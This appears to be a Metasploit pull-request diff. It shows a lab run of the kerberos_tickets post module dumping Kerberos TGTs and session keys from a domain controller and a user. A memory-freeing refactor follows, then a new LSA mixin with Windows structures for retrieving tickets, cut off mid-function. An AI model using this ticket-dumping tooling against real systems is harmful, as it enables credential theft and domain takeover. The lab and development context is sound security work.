tLtOsjj8akj/iTEx/Kgidt9rW9sZ48SgEANNEpLhR1SmtI3/0e9Lq6oh35XWTKACrkFJGEOqSeBAaHwhArH2YyskGPadY2lL1qJI0zjhipeAZu4gWD4vpf2sKSL/ksOo9sthfxVMEVfq0QSxR37mPZwYI1LOyMcCOeckLGdHdlQCO7WwnbDpToyTq7TYzn13XmX0nyRFBIN436camSwYO/xRsWkhpVQKQIRgAjl7xCBMLT8/YGYangAASjBIxiXbXOtlj9zBwBjfA36cXz2yUp7MjC2kZLYI//xZZG1VVOa9nAG8vkkyi7GrXitG/m2X5s7YOG7XyvDOoC5yS7Yti+P2jGvPiWjAOSDmlwLolHSjeSIYCKwxK5Dm/LyMtUVtJRAb702FdI7lSH8oZCxQBQs92j3PKTBIMzz2+eY4r74Nemh+zIH86M4llhELhhyz86V9Utox9iURueY32LVieRIaTXmWXCGyopENrTt+LHPShBAk+Q8P3y+SGwVGxmm/CVKFN2R7IZNFiBxw627Vhw2pjFfVDjfsRV9mAvF6Axhks2aSO5rXZNZY1xW9iEbkRI3wnVYR9zgeSILxMNjyiVZvGFSllYnRWpDOqSe4n0/xw/ytD8gAHBYveBxzMPvTHN76Kcs1MGmhpsMdMBUo2UT4eeqBP//rXnuBtneb5maz0Ak+VwDZOf8Q76gcp66FIOGlRWPxpRgaCz2ISHeJ+istqRBm8gGbfqfHAbZM2PTzyyDHROuf3LgVyfhNUt8r7eYAgDCsfKBq6bq7O/KcQaBOfQN5yAgnt6CuAjyIqFaaXlsbQZ2D5s1p4WYUjrEpywWIoTQWLbCSYSAjOz+eYv50MQ3oE43hRQtg5eT0PCVmyG30VDfZDISq3Yj0hDMu20nuVuZ2cVvzccEBNgn9SRnQyYRRZQb6w9Zgs1/VYiY2SLZjmbYAo54TNDVJyseJ3Egl3Xp8BNccUkxZomgUOwP58q7XQk8lDzi4ApJMVJ0M8THDySVBJX2sB7oNn924fzghqW+wfzsXVnI2O9aLxzYnygHyp3h7ypt83sXyMTLD4tqEZ0DvcOvCoNnvis7VN8ZvvhLADoOxpJPALc8n+q70rfCdukZQpICUhLc16Z+JZJkGdAZtmi1Um+Cwy7lmBA+IvRp+abyklx19ulv55CbU7K8NAftJUOof/MgmAre+pOmwLofZgaSu7wVQ65fBeb8bjA==
[*] LogonSession LUID: 0x0000003e4
[*] User: MSFLAB\DC$
[*] Session: 0
[*] AuthenticationPackage: Negotiate
[*] LogonType: Service (5)
[*] LogonTime: 2023-08-23 08:32:37 -0400
[*] Ticket[0]
[*] TGT MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20230823135507_default_192.168.159.10_mit.kerberos.cca_909298.bin
Primary Principal: DC$@MSFLAB.LOCAL
Ccache version: 4
Creds: 1
Credential[0]:
Server: krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL
Client: DC$@MSFLAB.LOCAL
Ticket etype: 18 (AES256)
Key: b5c64f9aa85e1e31c9b17a28093bb39de235beeca53d844e10bbf4764cf7402e
Subkey: false
Ticket Length: 1006
Ticket Flags: 0x40e10000 (FORWARDABLE, RENEWABLE, INITIAL, PRE_AUTHENT, CANONICALIZE)
Addresses: 0
Authdatas: 0
Times:
Auth time: 1969-12-31 19:00:00 -0500
Start time: 2023-08-23 09:32:46 -0400
End time: 2023-08-23 19:32:46 -0400
Renew Till: 2023-08-30 09:32:46 -0400
Ticket:
Ticket Version Number: 5
Realm: MSFLAB.LOCAL
Server Name: krbtgt/MSFLAB.LOCAL
Encrypted Ticket Part:
Ticket etype: 18 (AES256)
Key Version Number: 2
Cipher:
a5YMKhDbytSNzz+IqsxyXBURXqaCyVIpWDHu4E1wh0Q9MIVTXn163vkGYUz0X4LuxanqMXwttX8PdYI2V/Lxx6JcPzB50Jt0q4ffw0hsE/swVYEuRI8PyZl13DxE0wlGoaps9GC4l3xZM4nbqiAkPFneJQzrYgXcBWZ6ZlxJlQyGx7hOJLcsdU2KkqNOH8kRZrL/wkKNVKfHkDIkNPSkmYdSweZzuVce7v+yeNBOJpvK4odoE8ldWR6fhOGh5uSj5Fe2G+6ZG1IZREvnxMsqWQ/Ms3Os+1ZLZfH9l6sVi59MHufw98wxMFrKOBrceP0LkThwT29WXO3K3oCojYrSwLznMRKbKnUITRqzKT45a1wB/F556f4ova1GhUAmmlF7SxkGRlDuzh6c8zuKr91gaMQnzd1R95QSDl5xMP4HvWtz0N4bryhez8VbLlnUIFPdrhXtpOpp8Gp8cvEedwnmEmS7AUZyag8ohP40EgvtTXy8No8wuw0/imgIIhmRWlOvsTzUbRpoFMsNHS9h0+s6QhOyQdffMwqGea5c7inLpzJ2LofERlCvNrXVJpJ/+rkPGJasHzcnB216cFnSYuOUYzwIl9nSg1FY5jeOOOj5bcKptUuJonwldq/KJRKWq9io2bEJwOVwteBfRbz+E2KKShjWWMxS0sYhKLG1ZOUZtdLcUfwrwajexlJxM1aV48Y5yvDz7WWdxCOhNRmrjx2qmnOmbCNLgigJByqtcsUmeftfEZte5bdIWGECXOGFLsOdaLtUbW1mRPxDxHRuwTkcB4huzbtUk31pkljGDXp6LXUFOJD/IpJ3PNR6Xcf7jQ60QIkj99wT8xUHcNgJE/I9p8p5Y5EhgsY0KQOMu/OrFD0ah/VXoAl6vOS7INZXRrdVUFchBNKnRBX8aFBnIJ9pNjn1eLdGOrlpcd6HwCz9pCh9yJVs5kjxJWhOoyhOWWtNv/aghw0xPrvMTOTk8YRqe29hihpvHyMXJTKGTDvp6rkehWIC8G5/7XPcaeSuX6yKGUA6o6QaeTBLeiOHDH45AcapY12doQpxf7COrt31+U5xH6BxWwosp+I+axdf9cV63Z4lt2BToP5RZJvTIHe2gpn2trIuo40xkEQEMLKyvsI1frRG9hecUJzSXWXvTIkAwim54SY3rVcs6I6KUulNPyvXw2XVFCGSEb8XLfpl8zc3+gv7MB9Yv6T74M4rcF0guo62vQ==
[*] Ticket[1]
[*] TGT MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20230823135508_default_192.168.159.10_mit.kerberos.cca_938606.bin
Primary Principal: DC$@MSFLAB.LOCAL
Ccache version: 4
Creds: 1
Credential[0]:
Server: krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL
Client: DC$@MSFLAB.LOCAL
Ticket etype: 18 (AES256)
Key: b5c64f9aa85e1e31c9b17a28093bb39de235beeca53d844e10bbf4764cf7402e
Subkey: false
Ticket Length: 1006
Ticket Flags: 0x40e10000 (FORWARDABLE, RENEWABLE, INITIAL, PRE_AUTHENT, CANONICALIZE)
Addresses: 0
Authdatas: 0
Times:
Auth time: 1969-12-31 19:00:00 -0500
Start time: 2023-08-23 09:32:46 -0400
End time: 2023-08-23 19:32:46 -0400
Renew Till: 2023-08-30 09:32:46 -0400
Ticket:
Ticket Version Number: 5
Realm: MSFLAB.LOCAL
Server Name: krbtgt/MSFLAB.LOCAL
Encrypted Ticket Part:
Ticket etype: 18 (AES256)
Key Version Number: 2
Cipher:
a5YMKhDbytSNzz+IqsxyXBURXqaCyVIpWDHu4E1wh0Q9MIVTXn163vkGYUz0X4LuxanqMXwttX8PdYI2V/Lxx6JcPzB50Jt0q4ffw0hsE/swVYEuRI8PyZl13DxE0wlGoaps9GC4l3xZM4nbqiAkPFneJQzrYgXcBWZ6ZlxJlQyGx7hOJLcsdU2KkqNOH8kRZrL/wkKNVKfHkDIkNPSkmYdSweZzuVce7v+yeNBOJpvK4odoE8ldWR6fhOGh5uSj5Fe2G+6ZG1IZREvnxMsqWQ/Ms3Os+1ZLZfH9l6sVi59MHufw98wxMFrKOBrceP0LkThwT29WXO3K3oCojYrSwLznMRKbKnUITRqzKT45a1wB/F556f4ova1GhUAmmlF7SxkGRlDuzh6c8zuKr91gaMQnzd1R95QSDl5xMP4HvWtz0N4bryhez8VbLlnUIFPdrhXtpOpp8Gp8cvEedwnmEmS7AUZyag8ohP40EgvtTXy8No8wuw0/imgIIhmRWlOvsTzUbRpoFMsNHS9h0+s6QhOyQdffMwqGea5c7inLpzJ2LofERlCvNrXVJpJ/+rkPGJasHzcnB216cFnSYuOUYzwIl9nSg1FY5jeOOOj5bcKptUuJonwldq/KJRKWq9io2bEJwOVwteBfRbz+E2KKShjWWMxS0sYhKLG1ZOUZtdLcUfwrwajexlJxM1aV48Y5yvDz7WWdxCOhNRmrjx2qmnOmbCNLgigJByqtcsUmeftfEZte5bdIWGECXOGFLsOdaLtUbW1mRPxDxHRuwTkcB4huzbtUk31pkljGDXp6LXUFOJD/IpJ3PNR6Xcf7jQ60QIkj99wT8xUHcNgJE/I9p8p5Y5EhgsY0KQOMu/OrFD0ah/VXoAl6vOS7INZXRrdVUFchBNKnRBX8aFBnIJ9pNjn1eLdGOrlpcd6HwCz9pCh9yJVs5kjxJWhOoyhOWWtNv/aghw0xPrvMTOTk8YRqe29hihpvHyMXJTKGTDvp6rkehWIC8G5/7XPcaeSuX6yKGUA6o6QaeTBLeiOHDH45AcapY12doQpxf7COrt31+U5xH6BxWwosp+I+axdf9cV63Z4lt2BToP5RZJvTIHe2gpn2trIuo40xkEQEMLKyvsI1frRG9hecUJzSXWXvTIkAwim54SY3rVcs6I6KUulNPyvXw2XVFCGSEb8XLfpl8zc3+gv7MB9Yv6T74M4rcF0guo62vQ==
[*] LogonSession LUID: 0x00004ff91
[*] User: MSFLAB\smcintyre
[*] Session: 1
[*] AuthenticationPackage: Kerberos
[*] LogonType: Interactive (2)
[*] LogonTime: 2023-08-23 08:33:18 -0400
[*] Ticket[0]
[*] TGT MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20230823135509_default_192.168.159.10_mit.kerberos.cca_783228.bin
Primary Principal: smcintyre@MSFLAB.LOCAL
Ccache version: 4
Creds: 1
Credential[0]:
Server: krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL
Client: smcintyre@MSFLAB.LOCAL
Ticket etype: 18 (AES256)
Key: 074bf82534302378dd8d8f911ddab2afbf64b32e8093e4fdd833e683e427c361
Subkey: false
Ticket Length: 1052
Ticket Flags: 0x40e10000 (FORWARDABLE, RENEWABLE, INITIAL, PRE_AUTHENT, CANONICALIZE)
Addresses: 0
Authdatas: 0
Times:
Auth time: 1969-12-31 19:00:00 -0500
Start time: 2023-08-23 08:33:18 -0400
End time: 2023-08-23 18:33:18 -0400
Renew Till: 2023-08-30 08:33:18 -0400
Ticket:
Ticket Version Number: 5
Realm: MSFLAB.LOCAL
Server Name: krbtgt/MSFLAB.LOCAL
Encrypted Ticket Part:
Ticket etype: 18 (AES256)
Key Version Number: 2
Cipher:
oRWAAGpgwUBqsOzC3Xq8U5cNzsuFjB0ZLIgml5HqoGPgRwMtaDs9YIPNGudWsIvu+zl1aAIY6bkw3ltzW4/Ay2IuqQXKAMVnaWhTLWMNYViyPX4lUw5vrOvR6fpshI3tx46aqXNO5hnHPmNg+zAP9nKwXNG4hj3WtdCM3NMaLGShnQhvt9RnN/rEHuOQGn9Uo+3fEO01juPq9PBMJ/HGhe6dLXWFaXUc7OscSTQ5LUTlz+ABdbz2G0wCleEJPJYsQEo0tC1XDcZRcTsMkgbrAxp3H3zQGubEmX3h36Fo2H6ftYT0NsjnU1z/keylopjV6v0aRADUnqfJs+DgevOBDF0Ccy8IRsDdDVlnxr4tK7QwOvFUuIWKEPsLM2eLesNC7yJWnkDyHiFns+PNaz1PSIoD+euNRHFqW+7cPJXro3r84UcEiukKbWrMbrkg/YSQcEr9yGikNuoWSzgYCtbMsSLBRO7JasRcSNL+p4Dc3+E5r2nWRoR9bZTQM4YM72/kzoaXXnXXuPVx2krpohGMNJIHXoQ6drqCNwYcdT/tGMoCY+BLe29/PAtywGK3Hiq3HhbDnQ8t1g63b7CTssT0edrKR72Bv/YveDn3XQ1iKNM4mot+UxGVjrStJTQ6eEp1r3ZTibSvVTn3T5E1Z3ljSyHYhIa8bGlh2Ysk2St3ZEv3emDwDXvPIGovbzkqE7NYQgPlh36siynCV2SUKj1bApWA7erk7fVTyM/swH7OFa+ekZ+J88F02fanFtvrxGOhKOBfYL50UAas5o+32cqgIrPlip6JXe3BZ2fpr71mcZo4YYzUxopFYbox3FdH95HdQVG7PNg93e3+2XvnrkWEc2md+UhYacKvMMBrXzGAz1d+ea/V3Yt2EgZc1WWAWoKVCfw6RUeTQVs2pWjq7j2APjhzjAEa4s543xgmT0jIHZnfkGzTwjM5f5mhj1KeFkff98pEQX+QjjBFnaRDnIkBmzRmAyJNzxjwAhiW/RNxYNYG3UOnpmxxV443vN3wr3e+MFvBG9azFlq36iWs+2jGNUuFTdH6RECf7/tNun+DE622vI1hIaBJLAHMHzdSIt9kLTQ+OzECGjH0QNRHHibwLhyR36UHShr/ei4/PO87kKw+ZVpb0rHNcICaT80MhCIGWLlH5SErAKQe/vOkDgqeLW+keCbZfW8F7QBXc6C9kUpzUQuIII7KvLKskbgwhqPhoVV70x9vFXWG1xSFwzPJdQmDRBanyQ0xoQFhmt2MO6lMRXTpheAAL+uBJOpgYWX5GBA=
[*] LogonSession LUID: 0x00004d345
[*] User: MSFLAB\DC$
[*] Session: 0
[*] AuthenticationPackage: Kerberos
[*] LogonType: Network (3)
[*] LogonTime: 2023-08-23 08:33:18 -0400
[*] LogonSession LUID: 0x00004bfb9
[*] User: MSFLAB\DC$
[*] Session: 0
[*] AuthenticationPackage: Kerberos
[*] LogonType: Network (3)
[*] LogonTime: 2023-08-23 08:33:17 -0400
[*] Post module execution completed
msf6 post(windows/manage/kerberos_tickets) > klist
Kerberos Cache
==============
id host principal sname issued status path
-- ---- --------- ----- ------ ------ ----
398 192.168.159.10 DC$@MSFLAB.LOCAL krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL 2023-08-23 08:33:17 -0400 active /home/smcintyre/.msf4/loot/20230823135453_default_192.168.159.10_mit.kerberos.cca_948767.bin
399 192.168.159.10 DC$@MSFLAB.LOCAL krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL 2023-08-23 08:33:17 -0400 active /home/smcintyre/.msf4/loot/20230823135459_default_192.168.159.10_mit.kerberos.cca_126280.bin
400 192.168.159.10 DC$@MSFLAB.LOCAL krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL 2023-08-23 08:33:17 -0400 active /home/smcintyre/.msf4/loot/20230823135505_default_192.168.159.10_mit.kerberos.cca_341258.bin
401 192.168.159.10 DC$@MSFLAB.LOCAL krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL 2023-08-23 08:33:17 -0400 active /home/smcintyre/.msf4/loot/20230823135505_default_192.168.159.10_mit.kerberos.cca_389858.bin
404 192.168.159.10 smcintyre@MSFLAB.LOCAL krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL 2023-08-23 08:33:18 -0400 active /home/smcintyre/.msf4/loot/20230823135509_default_192.168.159.10_mit.kerberos.cca_783228.bin
402 192.168.159.10 DC$@MSFLAB.LOCAL krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL 2023-08-23 09:32:46 -0400 active /home/smcintyre/.msf4/loot/20230823135507_default_192.168.159.10_mit.kerberos.cca_909298.bin
403 192.168.159.10 DC$@MSFLAB.LOCAL krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL 2023-08-23 09:32:46 -0400 active /home/smcintyre/.msf4/loot/20230823135508_default_192.168.159.10_mit.kerberos.cca_938606.bin
msf6 post(windows/manage/kerberos_tickets) >
```

View File

@ -475,10 +475,7 @@ module Msf
0x0 0x0
].pack(client.arch == ARCH_X86 ? 'VVVVVVVV' : 'QQVVQQVQ') ].pack(client.arch == ARCH_X86 ? 'VVVVVVVV' : 'QQVVQQVQ')
result = client.railgun.netapi32.NetUserAdd(server_name, 1, user_info, 4) result = client.railgun.netapi32.NetUserAdd(server_name, 1, user_info, 4)
client.railgun.multi([ session.railgun.util.free_data(addr_username, addr_password)
['kernel32', 'VirtualFree', [addr_username, 0, MEM_RELEASE]], # addr_username
['kernel32', 'VirtualFree', [addr_password, 0, MEM_RELEASE]], # addr_password
])
return result return result
end end
@ -505,9 +502,7 @@ module Msf
0x0 # lgrpi1_comment 0x0 # lgrpi1_comment
].pack(client.arch == ARCH_X86 ? 'VV' : 'QQ') ].pack(client.arch == ARCH_X86 ? 'VV' : 'QQ')
result = client.railgun.netapi32.NetLocalGroupAdd(server_name, 1, localgroup_info, 4) result = client.railgun.netapi32.NetLocalGroupAdd(server_name, 1, localgroup_info, 4)
client.railgun.multi([ session.railgun.util.free_data(addr_group)
['kernel32', 'VirtualFree', [addr_group, 0, MEM_RELEASE]], # addr_group
])
return result return result
end end
@ -533,9 +528,7 @@ module Msf
0x0 0x0
].pack(client.arch == ARCH_X86 ? 'VV' : 'QQ') ].pack(client.arch == ARCH_X86 ? 'VV' : 'QQ')
result = client.railgun.netapi32.NetGroupAdd(server_name, 1, group_info_1, 4) result = client.railgun.netapi32.NetGroupAdd(server_name, 1, group_info_1, 4)
client.railgun.multi([ session.railgun.util.free_data(addr_group)
['kernel32', 'VirtualFree', [addr_group, 0, MEM_RELEASE]], # addr_group
])
return result return result
end end
@ -561,9 +554,7 @@ module Msf
addr_username, addr_username,
].pack(client.arch == ARCH_X86 ? 'V' : 'Q') ].pack(client.arch == ARCH_X86 ? 'V' : 'Q')
result = client.railgun.netapi32.NetLocalGroupAddMembers(server_name, localgroup, 3, localgroup_members, 1) result = client.railgun.netapi32.NetLocalGroupAddMembers(server_name, localgroup, 3, localgroup_members, 1)
client.railgun.multi([ session.railgun.util.free_data(addr_username)
['kernel32', 'VirtualFree', [addr_username, 0, MEM_RELEASE]],
])
return result return result
end end

View File

@ -0,0 +1,518 @@
# -*- coding: binary -*-
require 'rex/proto/ms_dtyp'
module Msf
class Post
module Windows
module Lsa
def initialize(info = {})
super(
update_info(
info,
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_railgun_api
stdapi_railgun_memread
stdapi_railgun_memwrite
]
}
}
)
)
end
# [UNICODE_STRING structure (subauth.h)](https://learn.microsoft.com/en-us/windows/win32/api/subauth/ns-subauth-unicode_string)
class UNICODE_STRING_x64 < BinData::Record
endian :little
uint16 :len
uint16 :maximum_len
uint64 :buffer, byte_align: 8
end
# [UNICODE_STRING structure (subauth.h)](https://learn.microsoft.com/en-us/windows/win32/api/subauth/ns-subauth-unicode_string)
class UNICODE_STRING_x86 < BinData::Record
endian :little
uint16 :len
uint16 :maximum_len
uint32 :buffer, byte_align: 4
end
# [LSA_LAST_INTER_LOGON_INFO structure (ntsecapi.h)](https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/ns-ntsecapi-lsa_last_inter_logon_info)
class LSA_LAST_INTER_LOGON_INFO < BinData::Record
endian :little
search_prefix :ms_dtyp
large_integer :last_successful_logon
large_integer :last_failed_logon
uint32 :failed_attempt_count_since_last_successful_logon
end
# [LSA_STRING structure (lsalookup.h)](https://learn.microsoft.com/en-us/windows/win32/api/lsalookup/ns-lsalookup-lsa_string)
class LSA_STRING_x64 < BinData::Record
endian :little
uint16 :len
uint16 :maximum_len
uint64 :buffer, byte_align: 8
end
# [LSA_STRING structure (lsalookup.h)](https://learn.microsoft.com/en-us/windows/win32/api/lsalookup/ns-lsalookup-lsa_string)
class LSA_STRING_x86 < BinData::Record
endian :little
uint16 :len
uint16 :maximum_len
uint32 :buffer, byte_align: 4
end
# [LSA_UNICODE_STRING structure (lsalookup.h)](https://learn.microsoft.com/en-us/windows/win32/api/lsalookup/ns-lsalookup-lsa_unicode_string)
class LSA_UNICODE_STRING_x64 < BinData::Record
endian :little
uint16 :len
uint16 :maximum_len
uint64 :buffer, byte_align: 8
end
# [LSA_UNICODE_STRING structure (lsalookup.h)](https://learn.microsoft.com/en-us/windows/win32/api/lsalookup/ns-lsalookup-lsa_unicode_string)
class LSA_UNICODE_STRING_x86 < BinData::Record
endian :little
uint16 :len
uint16 :maximum_len
uint32 :buffer, byte_align: 4
end
# [KERB_CRYPTO_KEY structure (ntsecapi.h)](https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/ns-ntsecapi-kerb_crypto_key)
class KERB_CRYPTO_KEY_x64 < BinData::Record
endian :little
int32 :key_type
uint32 :len
uint64 :val
end
# [KERB_CRYPTO_KEY structure (ntsecapi.h)](https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/ns-ntsecapi-kerb_crypto_key)
class KERB_CRYPTO_KEY_x86 < BinData::Record
endian :little
int32 :key_type
uint32 :len
uint32 :val
end
# [KERB_EXTERNAL_TICKET](https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/ns-ntsecapi-kerb_external_ticket)
class KERB_EXTERNAL_TICKET_x64 < BinData::Record
endian :little
search_prefix :ms_dtyp
uint64 :service_name
uint64 :target_name
uint64 :client_name
unicode_string_x64 :domain_name
unicode_string_x64 :target_domain_name
unicode_string_x64 :alt_target_domain_name
kerb_crypto_key_x64 :session_key
uint32 :ticket_flags
uint32 :flags
large_integer :key_expiration_time
large_integer :start_time
large_integer :end_time
large_integer :renew_until
large_integer :time_skew
uint32 :encoded_ticket_size
uint64 :encoded_ticket, byte_align: 8
end
# [KERB_EXTERNAL_TICKET](https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/ns-ntsecapi-kerb_external_ticket)
class KERB_EXTERNAL_TICKET_x86 < BinData::Record
endian :little
search_prefix :ms_dtyp
uint32 :service_name
uint32 :target_name
uint32 :client_name
unicode_string_x86 :domain_name
unicode_string_x86 :target_domain_name
unicode_string_x86 :alt_target_domain_name
kerb_crypto_key_x86 :session_key
uint32 :ticket_flags
uint32 :flags
large_integer :key_expiration_time
large_integer :start_time
large_integer :end_time
large_integer :renew_until
large_integer :time_skew
uint32 :encoded_ticket_size
uint32 :encoded_ticket, byte_align: 4
end
# https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/Security/Authentication/Identity/struct.KERB_TICKET_CACHE_INFO_EX.html
class KERB_TICKET_CACHE_INFO_EX_x64 < BinData::Record
endian :little
search_prefix :ms_dtyp
lsa_unicode_string_x64 :client_name
lsa_unicode_string_x64 :client_realm
lsa_unicode_string_x64 :server_name
lsa_unicode_string_x64 :server_realm
large_integer :start_time
large_integer :end_time
large_integer :renew_time
int32 :encryption_type
uint32 :ticket_flags
end
# https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/Security/Authentication/Identity/struct.KERB_TICKET_CACHE_INFO_EX.html
class KERB_TICKET_CACHE_INFO_EX_x86 < BinData::Record
endian :little
search_prefix :ms_dtyp
lsa_unicode_string_x86 :client_name
lsa_unicode_string_x86 :client_realm
lsa_unicode_string_x86 :server_name
lsa_unicode_string_x86 :server_realm
large_integer :start_time
large_integer :end_time
large_integer :renew_time
int32 :encryption_type
uint32 :ticket_flags
end
# [KERB_QUERY_TKT_CACHE_REQUEST structure (ntsecapi.h)](https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/ns-ntsecapi-kerb_query_tkt_cache_request)
class KERB_QUERY_TKT_CACHE_REQUEST < BinData::Record
endian :little
search_prefix :ms_dtyp
uint32 :message_type
luid :logon_id
end
# [KERB_QUERY_TKT_CACHE_RESPONSE structure (ntsecapi.h)](https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/ns-ntsecapi-kerb_query_tkt_cache_response)
class KERB_QUERY_TKT_CACHE_RESPONSE_x64 < BinData::Record
endian :little
uint32 :message_type
uint32 :count_of_tickets
array :tickets, type: :kerb_ticket_cache_info_ex_x64, initial_length: :count_of_tickets
end
# [KERB_QUERY_TKT_CACHE_RESPONSE structure (ntsecapi.h)](https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/ns-ntsecapi-kerb_query_tkt_cache_response)
class KERB_QUERY_TKT_CACHE_RESPONSE_x86 < BinData::Record
endian :little
uint32 :message_type
uint32 :count_of_tickets
array :tickets, type: :kerb_ticket_cache_info_ex_x86, initial_length: :count_of_tickets
end
# [KERB_RETRIEVE_TKT_REQUEST structure (ntsecapi.h)](https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/ns-ntsecapi-kerb_retrieve_tkt_request)
class KERB_RETRIEVE_TKT_REQUEST_x64 < BinData::Record
endian :little
search_prefix :ms_dtyp
uint32 :message_type
luid :logon_id
lsa_unicode_string_x64 :target_name, byte_align: 8
uint32 :ticket_flags
uint32 :cache_options
int32 :encryption_type
struct :credentials_handle, byte_align: 8 do # SecHandle, see: https://learn.microsoft.com/en-us/windows/win32/api/sspi/ns-sspi-sechandle
uint64 :dw_lower
uint64 :dw_upper
end
end
# [KERB_RETRIEVE_TKT_REQUEST structure (ntsecapi.h)](https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/ns-ntsecapi-kerb_retrieve_tkt_request)
class KERB_RETRIEVE_TKT_REQUEST_x86 < BinData::Record
endian :little
search_prefix :ms_dtyp
uint32 :message_type
luid :logon_id
lsa_unicode_string_x86 :target_name, byte_align: 4
uint32 :ticket_flags
uint32 :cache_options
int32 :encryption_type
struct :credentials_handle, byte_align: 4 do # SecHandle, see: https://learn.microsoft.com/en-us/windows/win32/api/sspi/ns-sspi-sechandle
uint64 :dw_lower
uint64 :dw_upper
end
end
# [KERB_RETRIEVE_TKT_RESPONSE structure (ntsecapi.h)](https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/ns-ntsecapi-kerb_retrieve_tkt_response)
class KERB_RETRIEVE_TKT_RESPONSE_x64 < BinData::Record
endian :little
kerb_external_ticket_x64 :ticket
end
# [KERB_RETRIEVE_TKT_RESPONSE structure (ntsecapi.h)](https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/ns-ntsecapi-kerb_retrieve_tkt_response)
class KERB_RETRIEVE_TKT_RESPONSE_x86 < BinData::Record
endian :little
kerb_external_ticket_x86 :ticket
end
# [SECURITY_LOGON_SESSION_DATA structure (ntsecapi.h)](https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/ns-ntsecapi-security_logon_session_data)
class SECURITY_LOGON_SESSION_DATA_x64 < BinData::Record
endian :little
search_prefix :ms_dtyp
uint32 :len
luid :logon_id
lsa_unicode_string_x64 :user_name, byte_align: 8
lsa_unicode_string_x64 :logon_domain
lsa_unicode_string_x64 :authentication_package
uint32 :logon_type
uint32 :session
uint64 :psid
large_integer :logon_time
lsa_unicode_string_x64 :logon_server
lsa_unicode_string_x64 :dns_domain_name
lsa_unicode_string_x64 :upn
uint32 :user_flags
lsa_last_inter_logon_info :last_logon_info, byte_align: 8
lsa_unicode_string_x64 :logon_script
lsa_unicode_string_x64 :profile_path
lsa_unicode_string_x64 :home_directory
lsa_unicode_string_x64 :home_directory_drive
large_integer :logoff_time
large_integer :kick_off_time
large_integer :password_last_set
large_integer :password_can_change
large_integer :password_must_change
end
# [SECURITY_LOGON_SESSION_DATA structure (ntsecapi.h)](https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/ns-ntsecapi-security_logon_session_data)
class SECURITY_LOGON_SESSION_DATA_x86 < BinData::Record
endian :little
search_prefix :ms_dtyp
uint32 :len
luid :logon_id
lsa_unicode_string_x86 :user_name, byte_align: 4
lsa_unicode_string_x86 :logon_domain
lsa_unicode_string_x86 :authentication_package
uint32 :logon_type
uint32 :session
uint32 :psid
large_integer :logon_time
lsa_unicode_string_x86 :logon_server
lsa_unicode_string_x86 :dns_domain_name
lsa_unicode_string_x86 :upn
uint32 :user_flags
lsa_last_inter_logon_info :last_logon_info, byte_align: 4
lsa_unicode_string_x86 :logon_script
lsa_unicode_string_x86 :profile_path
lsa_unicode_string_x86 :home_directory
lsa_unicode_string_x86 :home_directory_drive
large_integer :logoff_time
large_integer :kick_off_time
large_integer :password_last_set
large_integer :password_can_change
large_integer :password_must_change
end
# [TOKEN_STATISTICS structure (winnt.h)](https://learn.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-token_statistics)
class TOKEN_STATISTICS < BinData::Record
endian :little
search_prefix :ms_dtyp
luid :token_id
luid :authentication_id
large_integer :expiration_time
int32 :token_type
int32 :impersonation_level
uint32 :dynamic_charged
uint32 :dynamic_available
uint32 :group_count
uint32 :privilege_count
luid :modified_id
end
LsaPointer = Struct.new(:value, :contents)
# Initialize a new LSA_STRING instance in memory.
#
# @param [String] string The string value to place in memory.
def lsa_string(string)
case session.native_arch
when ARCH_X64
klass = LSA_STRING_x64
when ARCH_X86
klass = LSA_STRING_x86
else
raise NotImplementedError, "Unsupported session architecture: #{session.native_arch}"
end
ptr = session.railgun.util.alloc_and_write_string(string)
return nil if ptr.nil?
klass.new(len: string.length, maximum_len: string.length + 1, buffer: ptr)
end
# Initialize a new LSA_UNICODE_STRING instance in memory.
#
# @param [String] string The string value to place in memory.
def lsa_unicode_string(string)
case session.native_arch
when ARCH_X64
klass = LSA_UNICODE_STRING_x64
when ARCH_X86
klass = LSA_UNICODE_STRING_x86
else
raise NotImplementedError, "Unsupported session architecture: #{session.native_arch}"
end
ptr = session.railgun.util.alloc_and_write_string(string)
return nil if ptr.nil?
klass.new(len: string.length, maximum_len: string.length + 2, buffer: ptr)
end
# Read an LSA_UNICODE_STRING from memory.
#
# @param [LSA_UNICODE_STRING] str The LSA_UNICODE_STRING to read from memory.
def read_lsa_unicode_string(str)
return '' if str.len == 0
# the len field is in bytes, divide by two because #read_wstring takes chars
session.railgun.util.read_wstring(str.buffer, str.len / 2)
end
def lsa_call_authentication_package(handle, auth_package, submit_buffer, submit_buffer_length: nil)
if auth_package.is_a?(String)
auth_package = lsa_lookup_authentication_package(handle, auth_package)
return nil if auth_package.nil?
end
submit_buffer = submit_buffer.to_binary_s if submit_buffer.is_a?(BinData::Struct)
if submit_buffer_length.nil?
submit_buffer_length = submit_buffer.length
end
result = session.railgun.secur32.LsaCallAuthenticationPackage(
handle,
auth_package,
submit_buffer,
submit_buffer_length,
4,
4,
4
)
unless result['return'] == ::WindowsError::NTStatus::STATUS_SUCCESS
